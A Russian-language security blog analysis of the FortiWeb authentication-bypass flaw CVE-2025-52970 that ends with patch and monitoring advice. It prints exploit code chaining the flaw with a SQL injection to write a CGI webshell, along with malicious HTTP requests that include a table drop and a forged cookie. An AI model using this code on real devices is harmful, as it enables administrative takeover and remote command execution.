Уязвимость в FortiWeb
Уязвимость в FortiWeb
Категория: Программы Теги: Уязвимости Опубликовано: 15 сентября 2025

Уязвимость BDU:2025-09849 (CVE-2025-52970) FortiWeb

Уязвимость BDU:2025-09849 (CVE-2025-52970) в межсетевом экране веб-приложений FortiWeb связана с неправильной обработкой параметров cookie, что позволяет удаленному злоумышленнику полностью обойти аутентификацию и получить административные привилегии на устройстве. Уязвимость затрагивает версии FortiWeb 7.6.3 и ниже, 7.4.7 и ниже, 7.2.10 и ниже, а также 7.0.10 и ниже.

Анализ уязвимости

Уровень опасности: 8.1 (Высокий) по шкале CVSS 3.1

Вектор атаки: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки: Сеть) - Атака может быть выполнена удаленно через сеть.

  • AC:H (Сложность атаки: Высокая) - Для успешной атаки требуются специфические условия и непубличная информация об устройстве и целевых пользователях.

  • PR:N (Уровень привилегий: Не требуются) - Атака не требует аутентификации или специальных привилегий.

  • UI:N (Вовлечение пользователя: Не требуется) - Атака не требует взаимодействия с пользователем.

  • S:U (Область воздействия: Не изменяется) - Уязвимость воздействует только на целевой ресурс и не затрагивает другие компоненты.

  • C:H (Влияние на конфиденциальность: Высокое) - Возможность получения полного доступа к конфиденциальной информации.

  • I:H (Влияние на целостность: Высокое) - Возможность полного нарушения целостности данных системы.

  • A:H (Влияние на доступность: Высокое) - Возможность полного нарушения доступности системы.

Условия эксплуатации

Для успешной эксплуатации уязвимости необходимо соблюдение нескольких условий:

  1. Доступ к сети управления устройством: Злоумышленник должен иметь сетевой доступ к панели управления FortiWeb (обычно на портах 443, 8443 или других настраиваемых портах).

  2. Наличие активной сессии целевого пользователя: Атака требует, чтобы целевой пользователь (включая администратора) имел активную сессию в момент эксплуатации уязвимости.

  3. Непубличная информация об устройстве: Для формирования корректного cookie требуется знание определенных параметров устройства, которые могут быть получены через другие уязвимости или методы разведки.

  4. Подбор числового параметра: Требуется подбор небольшого числового значения (обычно до 30), используемого в механизме проверки сессии.

Технический механизм уязвимости

Анализ механизма обработки cookie

Сессионные cookie в FortiWeb состоит из трех компонентов:

  • Era: Параметр, определяющий тип сессии

  • Payload: Зашифрованные данные сессии, содержащие информацию о пользователе, роли и других атрибутах

  • AuthHash: HMAC-SHA1 хэш, подписывающий зашифрованный Payload с использованием того же ключа, что и для шифрования

Пример cookie:

APSCOOKIE_FWEB_8672793038565212270=Era=0&Payload=WBMi/LiqL9kMv5cas1WGGllbY2ehe9N98VN6szVLYhAfcAC+SFOpkVw5AbY2SgKP%0aEmAhJuYrSgJOaIPBUmz2rk/+fDhHldpZ8SGBG3NaeB2Rajs2rcsHwQ==%0a&AuthHash=Bnbx+Plvdm9anOc2zabqhFZR36U=%0a

При обработке cookie сервер выполняет следующие шаги:

  1. Выбирает секретный ключ на основе значения Era из массива в общей памяти

  2. Расшифровывает Payload с использованием выбранного ключа

  3. Проверяет AuthHash с использованием того же ключа и зашифрованного текста

Уязвимость возникает из-за отсутствия должной проверки параметра Era, что позволяет установить произвольный индекс за пределы ожидаемых значений (0 или 1). Это приводит к чтению за пределами выделенной памяти (out-of-bounds read) и может заставить сервер использовать нулевой или предсказуемый ключ для шифрования и подписи HMAC.

Математическая модель уязвимости

В нормальных условиях вероятность выбора конкретного ключа k из пространства ключей размером 2^n составляет:

Pr[K=k] = 1/(2^n)

Из-за уязвимости ключ фиксируется в нулевом значении:

Pr[K=000...0] = 1

Это полностью удаляет энтропию из пространства ключей, делая сессионные cookie предсказуемыми и подделываемыми 1.

Анализ эксплоита

Рассмотрим код эксплоита для понимания работы вектора атаки с использованием этой уязвимости. Эксплоит сочетает в себе обход аутентификации через CVE-2025-52970 и удаленное выполнение кода через CVE-2025-25257 (SQL-инъекция).

Класс SQL-инъекции

Основной механизм инъекции реализован в классе SQLInjection:

class SQLInjection:
    def __init__(self, target: str):
        self._target = target
        self._buggy_api = '/api/fabric/device/status'

    def inject_sql(self, injection: str) -> bool:
        headers = {
            "Authorization": f"Bearer ';{injection}"
        }
        dst_url = urljoin(self._target, self._buggy_api)
        try:
            r = requests.get(dst_url, headers=headers, verify=False)
            rc = r.status_code == 401  # 401 указывает на успешную SQL-инъекцию
        except Exception as e:
            rc = False
        return rc

Технический анализ:

  • Вектор атаки: HTTP-заголовок Authorization: Bearer

  • Инъекционная точка: Символ '; для завершения строки и начала инъекции

  • Обход фильтров: Использование /**/ вместо пробелов для обхода ограничений парсера

  • Индикатор успеха: Код ответа 401 указывает на успешную инъекцию

Механизм RCE

Класс RCE расширяет функциональность SQL-инъекции для достижения удаленного выполнения кода:

class RCE(SQLInjection):
    def __init__(self, target: str):
        super().__init__(target)
        self._target = target
        self._buggy_api = '/api/fabric/device/status'
        self._pyhook_path = '/cgi-bin/ml-draw.py'
        
        # Полезная нагрузка для изменения прав доступа
        self._chmod_file = ""
        self._chmod_file += "import os # \r\n"
        self._chmod_file += "os.system('chmod +x /migadmin/cgi-bin/x.cgi && rm -f /var/log/lib/python3.10/pylab.py') #"

        # WebShell для выполнения команд
        self._webshell = ''
        self._webshell += '#!/bin/sh -- \r\n'
        self._webshell += 'printf "Content-Type: text/html\\r\\n";printf "\\r\\n";eval $HTTP_USER_AGENT'

Технический анализ:

  • Использование Python-хука: Создание файла pylab.py, который автоматически загружается механизмом Python при импорте

  • WebShell: CGI-скрипт, выполняющий команды из заголовка User-Agent

  • Обход ограничений: Использование механизма .pth файлов Python для выполнения произвольного кода

Процесс загрузки WebShell

Метод upload_webshell реализует полную цепочку от SQL-инъекции до записи файлов:

def upload_webshell(self) -> bool:
    self._reset_tables()
    parts = self._split_payload(self._webshell)
    for part in parts:
        print(f'[*] writing part {part}')
        self.inject_sql(
            f'use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--')

    print('[>] writing webshell file')
    self.inject_sql(
        "select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/migadmin/cgi-bin/x.cgi'/**/FIELDS/**/ESCAPED/**/BY/**/'';--")

Технический анализ:

  • Разделение payload: WebShell разделяется на части по 16 байт для обхода ограничений на длину SQL-запросов

  • Шестнадцатеричное кодирование: Использование binascii.hexlify() для избежания проблем со специальными символами

  • Запись в файл: Использование оператора INTO OUTFILE для записи payload в файловую систему

  • Обход экранированияFIELDS ESCAPED BY '' отключает экранирование специальных символов

Пример вредоносного запроса

Вредоносный HTTP-запрос для эксплуатации уязвимости выглядит следующим образом:

GET /api/fabric/device/status HTTP/1.1
Host: target:8443
Authorization: Bearer ';drop/**/table/**/fabric_user.a;--

Или для обхода аутентификации через CVE-2025-52970:

GET /api/v2.0/system/status.systemstatus HTTP/1.1
Host: target:8443
Cookie: APSCOOKIE_FWEB_8672793038565212270=Era=9&Payload=o2IFGFubw+ikCQE0GZWk6lPHLqTEwZHmcHf2IRwBV9oIgaubXxdeKkX9zNBcYa0KOQF2H+80IJFezE/0Ric8bq31olXD5woq0tIdUwYx9a8=&AuthHash=6dqtHqF070L2M5Jm/jvrZ+hDSyg=

Методы защиты

1. Обновление программного обеспечения

Самым эффективным способом защиты является немедленное обновление до исправленных версий:

  • FortiWeb 7.6.* → версия 7.6.4 или выше

  • FortiWeb 7.4.* → версия 7.4.8 или выше

  • FortiWeb 7.2.* → версия 7.2.11 или выше

  • FortiWeb 7.0.* → версия 7.0.11 или выше

2. Сегментация сети и контроль доступа

  • Изоляция интерфейса управления: Ограничение доступа к панели управления FortiWeb только доверенным IP-адресам или сегментам сети

  • Минимальные привилегии: Применение принципа наименьших привилегий для учетных записей, имеющих доступ к устройству

  • Многофакторная аутентификация: Включение MFA для всех учетных записей с правами администратора

3. Мониторинг и обнаружение аномалий

  • Мониторинг аутентификации: Включение детального логирования всех событий аутентификации и проверка подозрительных попыток входа

  • Обнаружение аномалий cookie: Внедрение правил для обнаружения нестандартных значений параметра Era в cookie

  • Мониторинг файловой системы: Отслеживание создания или модификации файлов в директориях /cgi-bin//migadmin/ и /var/log/lib/python3.10/

Алексей Черемных Алексей Черемных
254